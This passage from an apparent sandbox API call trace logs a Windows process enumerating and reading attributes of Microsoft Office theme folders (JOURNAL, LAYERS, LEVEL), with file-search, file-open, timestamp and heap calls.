cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.330] GetLastError () returned 0x12 [0054.330] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.330] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.330] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.330] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0054.330] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0054.330] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.330] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.330] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.330] GetLastError () returned 0x12 [0054.330] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefca78) returned 1 [0054.331] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.331] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefcb80) returned 1 [0054.331] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.331] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0054.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.331] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0054.901] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefeb30 [0054.901] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefeb30, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefeb30, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefeb30) returned 1 [0054.901] NtClose (Handle=0x17c) returned 0x0 [0054.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefcb80 [0054.902] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.902] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.902] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0054.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefca78 [0054.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa060 [0054.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefd0a8 [0054.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.902] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0054.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa080 [0054.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefd1b0 [0054.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.903] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa0a0 [0054.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefd2b8 [0054.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.903] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa0c0 [0054.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefd3c0 [0054.903] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.903] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.903] GetLastError () returned 0x12 [0054.904] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.904] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.904] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.904] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0054.904] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0054.904] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.904] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.904] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.904] GetLastError () returned 0x12 [0054.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefcb80) returned 1 [0054.904] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefca78) returned 1 [0054.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.904] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0054.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.904] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0054.924] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefeb30 [0054.924] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefeb30, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefeb30, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.924] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefeb30) returned 1 [0054.924] NtClose (Handle=0x170) returned 0x0 [0054.924] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0054.924] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.924] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.924] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0054.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa0e0 [0054.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefca78 [0054.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.925] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0054.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa100 [0054.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefcb80 [0054.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.925] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.925] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa120 [0054.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefd4c8 [0054.926] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.926] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 